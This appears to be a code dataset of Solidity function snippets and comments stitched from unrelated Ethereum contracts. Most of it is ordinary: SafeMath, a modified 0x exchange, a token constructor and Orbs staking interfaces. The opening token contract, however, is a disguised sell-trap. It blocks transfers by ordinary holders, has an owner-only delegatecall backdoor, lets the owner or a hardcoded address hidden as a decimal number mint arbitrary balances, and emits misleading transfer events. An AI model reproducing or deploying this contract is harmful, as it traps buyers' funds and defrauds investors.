indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //go the white address first if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1132167815322823072539476364451924570945755492656)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
Returns the addition of two unsigned integers, with an overflow flag. _Available since v3.4._/
function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; }
1,465,038
./partial_match/83/0x0000000000000000004D657465724e6174697665/sources/contracts/MeterNativeV4.sol
this func merges `fromBucket` to `toBucket` notice that `fromBucket` will be removed immediately after calling this func returns error string (default "")/
function native_bucket_merge(address owner, bytes32 fromBucketID, bytes32 toBucketID) public pure returns (string memory) {}
8,829,237
/* Copyright 2017 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.4.19; interface Token { /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint _value) public returns (bool); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint _value) public returns (bool); /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint _value) public returns (bool); /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) public view returns (uint); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) public view returns (uint); event Transfer(address indexed _from, address indexed _to, uint _value); // solhint-disable-line event Approval(address indexed _owner, address indexed _spender, uint _value); } //solhint-disable-next-line /// @title TokenTransferProxy - Transfers tokens on behalf of exchange /// @author Ahmed Ali <Ahmed@bitfinex.com> contract TokenTransferProxy { modifier onlyExchange { require(msg.sender == exchangeAddress); _; } address public exchangeAddress; event LogAuthorizedAddressAdded(address indexed target, address indexed caller); function TokenTransferProxy() public { setExchange(msg.sender); } /* * Public functions */ /// @dev Calls into ERC20 Token contract, invoking transferFrom. /// @param token Address of token to transfer. /// @param from Address to transfer token from. /// @param to Address to transfer token to. /// @param value Amount of token to transfer. /// @return Success of transfer. function transferFrom( address token, address from, address to, uint value) public onlyExchange returns (bool) { return Token(token).transferFrom(from, to, value); } /// @dev Used to set exchange address /// @param _exchange the address of the exchange function setExchange(address _exchange) internal { require(exchangeAddress == address(0)); exchangeAddress = _exchange; } } contract SafeMath { function safeMul(uint a, uint b) internal pure returns (uint256) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint a, uint b) internal pure returns (uint256) { uint c = a / b; return c; } function safeSub(uint a, uint b) internal pure returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal pure returns (uint256) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal pure returns (uint256) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint256) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } /// @title Exchange - Facilitates exchange of ERC20 tokens. /// @author Amir Bandeali - <amir@0xProject.com>, Will Warren - <will@0xProject.com> // Modified by Ahmed Ali <Ahmed@bitfinex.com> contract Exchange is SafeMath { // Error Codes enum Errors { ORDER_EXPIRED, // Order has already expired ORDER_FULLY_FILLED_OR_CANCELLED, // Order has already been fully filled or cancelled ROUNDING_ERROR_TOO_LARGE, // Rounding error too large INSUFFICIENT_BALANCE_OR_ALLOWANCE // Insufficient balance or allowance for token transfer } string constant public VERSION = "1.0.0"; uint16 constant public EXTERNAL_QUERY_GAS_LIMIT = 4999; // Changes to state require at least 5000 gas uint constant public ETHFINEX_FEE = 200; // Amount - (Amount/fee) is what gets send to user // address public ZRX_TOKEN_CONTRACT; address public TOKEN_TRANSFER_PROXY_CONTRACT; // Mappings of orderHash => amounts of takerTokenAmount filled or cancelled. mapping (bytes32 => uint) public filled; mapping (bytes32 => uint) public cancelled; event LogFill( address indexed maker, address taker, address indexed feeRecipient, address makerToken, address takerToken, uint filledMakerTokenAmount, uint filledTakerTokenAmount, uint paidMakerFee, uint paidTakerFee, bytes32 indexed tokens, // keccak256(makerToken, takerToken), allows subscribing to a token pair bytes32 orderHash ); event LogCancel( address indexed maker, address indexed feeRecipient, address makerToken, address takerToken, uint cancelledMakerTokenAmount, uint cancelledTakerTokenAmount, bytes32 indexed tokens, bytes32 orderHash ); event LogError(uint8 indexed errorId, bytes32 indexed orderHash); struct Order { address maker; address taker; address makerToken; address takerToken; address feeRecipient; uint makerTokenAmount; uint takerTokenAmount; uint makerFee; uint takerFee; uint expirationTimestampInSec; bytes32 orderHash; } // MODIFIED CODE, constructor changed function Exchange() public { // ZRX_TOKEN_CONTRACT = _zrxToken; TOKEN_TRANSFER_PROXY_CONTRACT = address(new TokenTransferProxy()); } /* * Core exchange functions */ /// @dev Fills the input order. /// @param orderAddresses Array of order&#39;s maker, taker, makerToken, takerToken, and feeRecipient. /// @param orderValues Array of order&#39;s makerTokenAmount, takerTokenAmount, makerFee, takerFee, expirationTimestampInSec, and salt. /// @param fillTakerTokenAmount Desired amount of takerToken to fill. /// @param shouldThrowOnInsufficientBalanceOrAllowance Test if transfer will fail before attempting. /// @param v ECDSA signature parameter v. /// @param r ECDSA signature parameters r. /// @param s ECDSA signature parameters s. /// @return Total amount of takerToken filled in trade. function fillOrder( address[5] orderAddresses, uint[6] orderValues, uint fillTakerTokenAmount, bool shouldThrowOnInsufficientBalanceOrAllowance, uint8 v, bytes32 r, bytes32 s) public returns (uint filledTakerTokenAmount) { Order memory order = Order({ maker: orderAddresses[0], taker: orderAddresses[1], makerToken: orderAddresses[2], takerToken: orderAddresses[3], feeRecipient: orderAddresses[4], makerTokenAmount: orderValues[0], takerTokenAmount: orderValues[1], makerFee: orderValues[2], takerFee: orderValues[3], expirationTimestampInSec: orderValues[4], orderHash: getOrderHash(orderAddresses, orderValues) }); require(order.taker == address(0) || order.taker == msg.sender); require(order.makerTokenAmount > 0 && order.takerTokenAmount > 0 && fillTakerTokenAmount > 0); require(isValidSignature( order.maker, order.orderHash, v, r, s )); if (block.timestamp >= order.expirationTimestampInSec) { LogError(uint8(Errors.ORDER_EXPIRED), order.orderHash); return 0; } uint remainingTakerTokenAmount = safeSub(order.takerTokenAmount, getUnavailableTakerTokenAmount(order.orderHash)); filledTakerTokenAmount = min256(fillTakerTokenAmount, remainingTakerTokenAmount); if (filledTakerTokenAmount == 0) { LogError(uint8(Errors.ORDER_FULLY_FILLED_OR_CANCELLED), order.orderHash); return 0; } if (isRoundingError(filledTakerTokenAmount, order.takerTokenAmount, order.makerTokenAmount)) { LogError(uint8(Errors.ROUNDING_ERROR_TOO_LARGE), order.orderHash); return 0; } if (!shouldThrowOnInsufficientBalanceOrAllowance && !isTransferable(order, filledTakerTokenAmount)) { LogError(uint8(Errors.INSUFFICIENT_BALANCE_OR_ALLOWANCE), order.orderHash); return 0; } /////////////// modified code ///////////////// // uint filledMakerTokenAmount = getPartialAmount(filledTakerTokenAmount, order.takerTokenAmount, order.makerTokenAmount); uint filledMakerTokenAmount = getPartialAmount(filledTakerTokenAmount, order.takerTokenAmount, order.makerTokenAmount); filledMakerTokenAmount = filledMakerTokenAmount - safeDiv(filledMakerTokenAmount, ETHFINEX_FEE); ///////////// modified code /////////// uint paidMakerFee; uint paidTakerFee; filled[order.orderHash] = safeAdd(filled[order.orderHash], filledTakerTokenAmount); require(transferViaTokenTransferProxy( order.makerToken, order.maker, msg.sender, filledMakerTokenAmount )); require(transferViaTokenTransferProxy( order.takerToken, msg.sender, order.maker, filledTakerTokenAmount )); // if (order.feeRecipient != address(0)) { // if (order.makerFee > 0) { // paidMakerFee = getPartialAmount(filledTakerTokenAmount, order.takerTokenAmount, order.makerFee); // require(transferViaTokenTransferProxy( // ZRX_TOKEN_CONTRACT, // order.maker, // order.feeRecipient, // paidMakerFee // )); // } // if (order.takerFee > 0) { // paidTakerFee = getPartialAmount(filledTakerTokenAmount, order.takerTokenAmount, order.takerFee); // require(transferViaTokenTransferProxy( // ZRX_TOKEN_CONTRACT, // msg.sender, // order.feeRecipient, // paidTakerFee // )); // } // } LogFill( order.maker, msg.sender, order.feeRecipient, order.makerToken, order.takerToken, filledMakerTokenAmount, filledTakerTokenAmount, paidMakerFee, paidTakerFee, keccak256(order.makerToken, order.takerToken), order.orderHash ); return filledTakerTokenAmount; } /// @dev Cancels the input order. /// @param orderAddresses Array of order&#39;s maker, taker, makerToken, takerToken, and feeRecipient. /// @param orderValues Array of order&#39;s makerTokenAmount, takerTokenAmount, makerFee, takerFee, expirationTimestampInSec, and salt. /// @param cancelTakerTokenAmount Desired amount of takerToken to cancel in order. /// @return Amount of takerToken cancelled. // function cancelOrder( // address[5] orderAddresses, // uint[6] orderValues, // uint cancelTakerTokenAmount) // public // returns (uint) // { // Order memory order = Order({ // maker: orderAddresses[0], // taker: orderAddresses[1], // makerToken: orderAddresses[2], // takerToken: orderAddresses[3], // feeRecipient: orderAddresses[4], // makerTokenAmount: orderValues[0], // takerTokenAmount: orderValues[1], // makerFee: orderValues[2], // takerFee: orderValues[3], // expirationTimestampInSec: orderValues[4], // orderHash: getOrderHash(orderAddresses, orderValues) // }); // require(order.maker == msg.sender); // require(order.makerTokenAmount > 0 && order.takerTokenAmount > 0 && cancelTakerTokenAmount > 0); // if (block.timestamp >= order.expirationTimestampInSec) { // LogError(uint8(Errors.ORDER_EXPIRED), order.orderHash); // return 0; // } // uint remainingTakerTokenAmount = safeSub(order.takerTokenAmount, getUnavailableTakerTokenAmount(order.orderHash)); // uint cancelledTakerTokenAmount = min256(cancelTakerTokenAmount, remainingTakerTokenAmount); // if (cancelledTakerTokenAmount == 0) { // LogError(uint8(Errors.ORDER_FULLY_FILLED_OR_CANCELLED), order.orderHash); // return 0; // } // cancelled[order.orderHash] = safeAdd(cancelled[order.orderHash], cancelledTakerTokenAmount); // LogCancel( // order.maker, // order.feeRecipient, // order.makerToken, // order.takerToken, // getPartialAmount(cancelledTakerTokenAmount, order.takerTokenAmount, order.makerTokenAmount), // cancelledTakerTokenAmount, // keccak256(order.makerToken, order.takerToken), // order.orderHash // ); // return cancelledTakerTokenAmount; // } /* * Wrapper functions */ /// @dev Fills an order with specified parameters and ECDSA signature, throws if specified amount not filled entirely. /// @param orderAddresses Array of order&#39;s maker, taker, makerToken, takerToken, and feeRecipient. /// @param orderValues Array of order&#39;s makerTokenAmount, takerTokenAmount, makerFee, takerFee, expirationTimestampInSec, and salt. /// @param fillTakerTokenAmount Desired amount of takerToken to fill. /// @param v ECDSA signature parameter v. /// @param r ECDSA signature parameters r. /// @param s ECDSA signature parameters s. function fillOrKillOrder( address[5] orderAddresses, uint[6] orderValues, uint fillTakerTokenAmount, uint8 v, bytes32 r, bytes32 s) public { require(fillOrder( orderAddresses, orderValues, fillTakerTokenAmount, false, v, r, s ) == fillTakerTokenAmount); } /// @dev Synchronously executes multiple fill orders in a single transaction. /// @param orderAddresses Array of address arrays containing individual order addresses. /// @param orderValues Array of uint arrays containing individual order values. /// @param fillTakerTokenAmounts Array of desired amounts of takerToken to fill in orders. /// @param shouldThrowOnInsufficientBalanceOrAllowance Test if transfers will fail before attempting. /// @param v Array ECDSA signature v parameters. /// @param r Array of ECDSA signature r parameters. /// @param s Array of ECDSA signature s parameters. function batchFillOrders( address[5][] orderAddresses, uint[6][] orderValues, uint[] fillTakerTokenAmounts, bool shouldThrowOnInsufficientBalanceOrAllowance, uint8[] v, bytes32[] r, bytes32[] s) public { for (uint i = 0; i < orderAddresses.length; i++) { fillOrder( orderAddresses[i], orderValues[i], fillTakerTokenAmounts[i], shouldThrowOnInsufficientBalanceOrAllowance, v[i], r[i], s[i] ); } } /// @dev Synchronously executes multiple fillOrKill orders in a single transaction. /// @param orderAddresses Array of address arrays containing individual order addresses. /// @param orderValues Array of uint arrays containing individual order values. /// @param fillTakerTokenAmounts Array of desired amounts of takerToken to fill in orders. /// @param v Array ECDSA signature v parameters. /// @param r Array of ECDSA signature r parameters. /// @param s Array of ECDSA signature s parameters. function batchFillOrKillOrders( address[5][] orderAddresses, uint[6][] orderValues, uint[] fillTakerTokenAmounts, uint8[] v, bytes32[] r, bytes32[] s) public { for (uint i = 0; i < orderAddresses.length; i++) { fillOrKillOrder( orderAddresses[i], orderValues[i], fillTakerTokenAmounts[i], v[i], r[i], s[i] ); } } /// @dev Synchronously executes multiple fill orders in a single transaction until total fillTakerTokenAmount filled. /// @param orderAddresses Array of address arrays containing individual order addresses. /// @param orderValues Array of uint arrays containing individual order values. /// @param fillTakerTokenAmount Desired total amount of takerToken to fill in orders. /// @param shouldThrowOnInsufficientBalanceOrAllowance Test if transfers will fail before attempting. /// @param v Array ECDSA signature v parameters. /// @param r Array of ECDSA signature r parameters. /// @param s Array of ECDSA signature s parameters. /// @return Total amount of fillTakerTokenAmount filled in orders. function fillOrdersUpTo( address[5][] orderAddresses, uint[6][] orderValues, uint fillTakerTokenAmount, bool shouldThrowOnInsufficientBalanceOrAllowance, uint8[] v, bytes32[] r, bytes32[] s) public returns (uint) { uint filledTakerTokenAmount = 0; for (uint i = 0; i < orderAddresses.length; i++) { require(orderAddresses[i][3] == orderAddresses[0][3]); // takerToken must be the same for each order filledTakerTokenAmount = safeAdd(filledTakerTokenAmount, fillOrder( orderAddresses[i], orderValues[i], safeSub(fillTakerTokenAmount, filledTakerTokenAmount), shouldThrowOnInsufficientBalanceOrAllowance, v[i], r[i], s[i] )); if (filledTakerTokenAmount == fillTakerTokenAmount) break; } return filledTakerTokenAmount; } /// @dev Synchronously cancels multiple orders in a single transaction. /// @param orderAddresses Array of address arrays containing individual order addresses. /// @param orderValues Array of uint arrays containing individual order values. /// @param cancelTakerTokenAmounts Array of desired amounts of takerToken to cancel in orders. // function batchCancelOrders( // address[5][] orderAddresses, // uint[6][] orderValues, // uint[] cancelTakerTokenAmounts) // public // { // for (uint i = 0; i < orderAddresses.length; i++) { // cancelOrder( // orderAddresses[i], // orderValues[i], // cancelTakerTokenAmounts[i] // ); // } // } /* * Constant public functions */ /// @dev Calculates Keccak-256 hash of order with specified parameters. /// @param orderAddresses Array of order&#39;s maker, taker, makerToken, takerToken, and feeRecipient. /// @param orderValues Array of order&#39;s makerTokenAmount, takerTokenAmount, makerFee, takerFee, expirationTimestampInSec, and salt. /// @return Keccak-256 hash of order. function getOrderHash(address[5] orderAddresses, uint[6] orderValues) public constant returns (bytes32) { return keccak256( address(this), orderAddresses[0], // maker orderAddresses[1], // taker orderAddresses[2], // makerToken orderAddresses[3], // takerToken orderAddresses[4], // feeRecipient orderValues[0], // makerTokenAmount orderValues[1], // takerTokenAmount orderValues[2], // makerFee orderValues[3], // takerFee orderValues[4], // expirationTimestampInSec orderValues[5] // salt ); } /// @dev Verifies that an order signature is valid. /// @param signer address of signer. /// @param hash Signed Keccak-256 hash. /// @param v ECDSA signature parameter v. /// @param r ECDSA signature parameters r. /// @param s ECDSA signature parameters s. /// @return Validity of order signature. function isValidSignature( address signer, bytes32 hash, uint8 v, bytes32 r, bytes32 s) public pure returns (bool) { return signer == ecrecover( keccak256("\x19Ethereum Signed Message:\n32", hash), v, r, s ); } /// @dev Checks if rounding error > 0.1%. /// @param numerator Numerator. /// @param denominator Denominator. /// @param target Value to multiply with numerator/denominator. /// @return Rounding error is present. function isRoundingError(uint numerator, uint denominator, uint target) public pure returns (bool) { uint remainder = mulmod(target, numerator, denominator); if (remainder == 0) return false; // No rounding error. uint errPercentageTimes1000000 = safeDiv( safeMul(remainder, 1000000), safeMul(numerator, target) ); return errPercentageTimes1000000 > 1000; } /// @dev Calculates partial value given a numerator and denominator. /// @param numerator Numerator. /// @param denominator Denominator. /// @param target Value to calculate partial of. /// @return Partial value of target. function getPartialAmount(uint numerator, uint denominator, uint target) public pure returns (uint) { return safeDiv(safeMul(numerator, target), denominator); } /// @dev Calculates the sum of values already filled and cancelled for a given order. /// @param orderHash The Keccak-256 hash of the given order. /// @return Sum of values already filled and cancelled. function getUnavailableTakerTokenAmount(bytes32 orderHash) public constant returns (uint) { return safeAdd(filled[orderHash], cancelled[orderHash]); } /* * Internal functions */ /// @dev Transfers a token using TokenTransferProxy transferFrom function. /// @param token Address of token to transferFrom. /// @param from Address transfering token. /// @param to Address receiving token. /// @param value Amount of token to transfer. /// @return Success of token transfer. function transferViaTokenTransferProxy( address token, address from, address to, uint value) internal returns (bool) { return TokenTransferProxy(TOKEN_TRANSFER_PROXY_CONTRACT).transferFrom(token, from, to, value); } /// @dev Checks if any order transfers will fail. /// @param order Order struct of params that will be checked. /// @param fillTakerTokenAmount Desired amount of takerToken to fill. /// @return Predicted result of transfers. function isTransferable(Order order, uint fillTakerTokenAmount) internal constant // The called token contracts may attempt to change state, but will not be able to due to gas limits on getBalance and getAllowance. returns (bool) { address taker = msg.sender; uint fillMakerTokenAmount = getPartialAmount(fillTakerTokenAmount, order.takerTokenAmount, order.makerTokenAmount); // if (order.feeRecipient != address(0)) { // bool isMakerTokenZRX = order.makerToken == ZRX_TOKEN_CONTRACT; // bool isTakerTokenZRX = order.takerToken == ZRX_TOKEN_CONTRACT; // uint paidMakerFee = getPartialAmount(fillTakerTokenAmount, order.takerTokenAmount, order.makerFee); // uint paidTakerFee = getPartialAmount(fillTakerTokenAmount, order.takerTokenAmount, order.takerFee); // uint requiredMakerZRX = isMakerTokenZRX ? safeAdd(fillMakerTokenAmount, paidMakerFee) : paidMakerFee; // uint requiredTakerZRX = isTakerTokenZRX ? safeAdd(fillTakerTokenAmount, paidTakerFee) : paidTakerFee; // if ( getBalance(ZRX_TOKEN_CONTRACT, order.maker) < requiredMakerZRX // || getAllowance(ZRX_TOKEN_CONTRACT, order.maker) < requiredMakerZRX // || getBalance(ZRX_TOKEN_CONTRACT, taker) < requiredTakerZRX // || getAllowance(ZRX_TOKEN_CONTRACT, taker) < requiredTakerZRX // ) return false; // if (!isMakerTokenZRX && ( getBalance(order.makerToken, order.maker) < fillMakerTokenAmount // Don&#39;t double check makerToken if ZRX // || getAllowance(order.makerToken, order.maker) < fillMakerTokenAmount) // ) return false; // if (!isTakerTokenZRX && ( getBalance(order.takerToken, taker) < fillTakerTokenAmount // Don&#39;t double check takerToken if ZRX // || getAllowance(order.takerToken, taker) < fillTakerTokenAmount) // ) return false; // } else if ( getBalance(order.makerToken, order.maker) < fillMakerTokenAmount // || getAllowance(order.makerToken, order.maker) < fillMakerTokenAmount // || getBalance(order.takerToken, taker) < fillTakerTokenAmount // || getAllowance(order.takerToken, taker) < fillTakerTokenAmount // ) return false; ///////// added code, copied from above /////// if ( getBalance(order.makerToken, order.maker) < fillMakerTokenAmount || getAllowance(order.makerToken, order.maker) < fillMakerTokenAmount || getBalance(order.takerToken, taker) < fillTakerTokenAmount || getAllowance(order.takerToken, taker) < fillTakerTokenAmount ) return false; return true; } /// @dev Get token balance of an address. /// @param token Address of token. /// @param owner Address of owner. /// @return Token balance of owner. function getBalance(address token, address owner) internal constant // The called token contract may attempt to change state, but will not be able to due to an added gas limit. returns (uint) { return Token(token).balanceOf.gas(EXTERNAL_QUERY_GAS_LIMIT)(owner); // Limit gas to prevent reentrancy } /// @dev Get allowance of token given to TokenTransferProxy by an address. /// @param token Address of token. /// @param owner Address of owner. /// @return Allowance of token given to TokenTransferProxy by owner. function getAllowance(address token, address owner) internal constant // The called token contract may attempt to change state, but will not be able to due to an added gas limit. returns (uint) { return Token(token).allowance.gas(EXTERNAL_QUERY_GAS_LIMIT)(owner, TOKEN_TRANSFER_PROXY_CONTRACT); // Limit gas to prevent reentrancy } }
Fills an order with specified parameters and ECDSA signature, throws if specified amount not filled entirely. orderAddresses Array of order&39;s maker, taker, makerToken, takerToken, and feeRecipient. orderValues Array of order&39;s makerTokenAmount, takerTokenAmount, makerFee, takerFee, expirationTimestampInSec, and salt. fillTakerTokenAmount Desired amount of takerToken to fill. v ECDSA signature parameter v. r ECDSA signature parameters r. s ECDSA signature parameters s.
function fillOrKillOrder( address[5] orderAddresses, uint[6] orderValues, uint fillTakerTokenAmount, uint8 v, bytes32 r, bytes32 s) public { require(fillOrder( orderAddresses, orderValues, fillTakerTokenAmount, false, v, r, s ) == fillTakerTokenAmount); }
2,051,081
./full_match/1/0x09EcD8FaEd2172AFCF36b465E2BF1E9792AeC1d7/sources/BLESS.sol
exclude from paying fees or having max transaction amount
constructor() ERC20("Blessed Moonshine", "BLESS") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), USDC); excludeFromMaxTransaction(address(uniswapV2Pair), true); uint256 _buyDevFee = 0; uint256 _buyLiquidityFee = 0; uint256 _sellDevFee = 0; uint256 _sellLiquidityFee = 0; uint256 totalSupply = 100_000_000_000 * 1e18; buyDevFee = _buyDevFee; buyLiquidityFee = _buyLiquidityFee; buyTotalFees = buyDevFee + buyLiquidityFee; sellDevFee = _sellDevFee; sellLiquidityFee = _sellLiquidityFee; sellTotalFees = sellDevFee + sellLiquidityFee; excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again _mint(msg.sender, totalSupply);
3,124,105
/** *Submitted for verification at Etherscan.io on 2020-08-23 */ // File: contracts/spec_interfaces/IContractRegistry.sol pragma solidity 0.5.16; interface IContractRegistry { event ContractAddressUpdated(string contractName, address addr); /// @dev updates the contracts address and emits a corresponding event function set(string calldata contractName, address addr) external /* onlyGovernor */; /// @dev returns the current address of the function get(string calldata contractName) external view returns (address); } // File: contracts/spec_interfaces/ICertification.sol pragma solidity 0.5.16; /// @title Elections contract interface interface ICertification /* is Ownable */ { event GuardianCertificationUpdate(address guardian, bool isCertified); /* * External methods */ /// @dev Called by a guardian as part of the automatic vote unready flow /// Used by the Election contract function isGuardianCertified(address addr) external view returns (bool isCertified); /// @dev Called by a guardian as part of the automatic vote unready flow /// Used by the Election contract function setGuardianCertification(address addr, bool isCertified) external /* Owner only */ ; /* * Governance */ /// @dev Updates the address calldata of the contract registry function setContractRegistry(IContractRegistry _contractRegistry) external /* onlyMigrationOwner */; } // File: contracts/spec_interfaces/IProtocol.sol pragma solidity 0.5.16; interface IProtocol { event ProtocolVersionChanged(string deploymentSubset, uint256 currentVersion, uint256 nextVersion, uint256 fromTimestamp); /* * External methods */ /// @dev returns true if the given deployment subset exists (i.e - is registered with a protocol version) function deploymentSubsetExists(string calldata deploymentSubset) external view returns (bool); /// @dev returns the current protocol version for the given deployment subset. function getProtocolVersion(string calldata deploymentSubset) external view returns (uint256); /* * Governor methods */ /// @dev create a new deployment subset. function createDeploymentSubset(string calldata deploymentSubset, uint256 initialProtocolVersion) external /* onlyFunctionalOwner */; /// @dev schedules a protocol version upgrade for the given deployment subset. function setProtocolVersion(string calldata deploymentSubset, uint256 nextVersion, uint256 fromTimestamp) external /* onlyFunctionalOwner */; } // File: contracts/spec_interfaces/ICommittee.sol pragma solidity 0.5.16; /// @title Elections contract interface interface ICommittee { event GuardianCommitteeChange(address addr, uint256 weight, bool certification, bool inCommittee); event CommitteeSnapshot(address[] addrs, uint256[] weights, bool[] certification); // No external functions /* * Methods restricted to other Orbs contracts */ /// @dev Called by: Elections contract /// Notifies a weight change for sorting to a relevant committee member. /// weight = 0 indicates removal of the member from the committee (for exmaple on unregister, voteUnready, voteOut) function memberWeightChange(address addr, uint256 weight) external returns (bool committeeChanged) /* onlyElectionContract */; /// @dev Called by: Elections contract /// Notifies a guardian certification change function memberCertificationChange(address addr, bool isCertified) external returns (bool committeeChanged) /* onlyElectionsContract */; /// @dev Called by: Elections contract /// Notifies a a member removal for exampl e due to voteOut / voteUnready function removeMember(address addr) external returns (bool committeeChanged) /* onlyElectionContract */; /// @dev Called by: Elections contract /// Notifies a new member applicable for committee (due to registration, unbanning, certification change) function addMember(address addr, uint256 weight, bool isCertified) external returns (bool committeeChanged) /* onlyElectionsContract */; /// @dev Called by: Elections contract /// Returns the committee members and their weights function getCommittee() external view returns (address[] memory addrs, uint256[] memory weights, bool[] memory certification); /* * Governance */ function setMaxTimeBetweenRewardAssignments(uint32 maxTimeBetweenRewardAssignments) external /* onlyFunctionalOwner onlyWhenActive */; function setMaxCommittee(uint8 maxCommitteeSize) external /* onlyFunctionalOwner onlyWhenActive */; event MaxTimeBetweenRewardAssignmentsChanged(uint32 newValue, uint32 oldValue); event MaxCommitteeSizeChanged(uint8 newValue, uint8 oldValue); /// @dev Updates the address calldata of the contract registry function setContractRegistry(IContractRegistry _contractRegistry) external /* onlyMigrationOwner */; /* * Getters */ /// @dev returns the current committee /// used also by the rewards and fees contracts function getCommitteeInfo() external view returns (address[] memory addrs, uint256[] memory weights, address[] memory orbsAddrs, bool[] memory certification, bytes4[] memory ips); /// @dev returns the current settings of the committee contract function getSettings() external view returns (uint32 maxTimeBetweenRewardAssignments, uint8 maxCommitteeSize); } // File: contracts/IStakeChangeNotifier.sol pragma solidity 0.5.16; /// @title An interface for notifying of stake change events (e.g., stake, unstake, partial unstake, restate, etc.). interface IStakeChangeNotifier { /// @dev Notifies of stake change event. /// @param _stakeOwner address The address of the subject stake owner. /// @param _amount uint256 The difference in the total staked amount. /// @param _sign bool The sign of the added (true) or subtracted (false) amount. /// @param _updatedStake uint256 The updated total staked amount. function stakeChange(address _stakeOwner, uint256 _amount, bool _sign, uint256 _updatedStake) external; /// @dev Notifies of multiple stake change events. /// @param _stakeOwners address[] The addresses of subject stake owners. /// @param _amounts uint256[] The differences in total staked amounts. /// @param _signs bool[] The signs of the added (true) or subtracted (false) amounts. /// @param _updatedStakes uint256[] The updated total 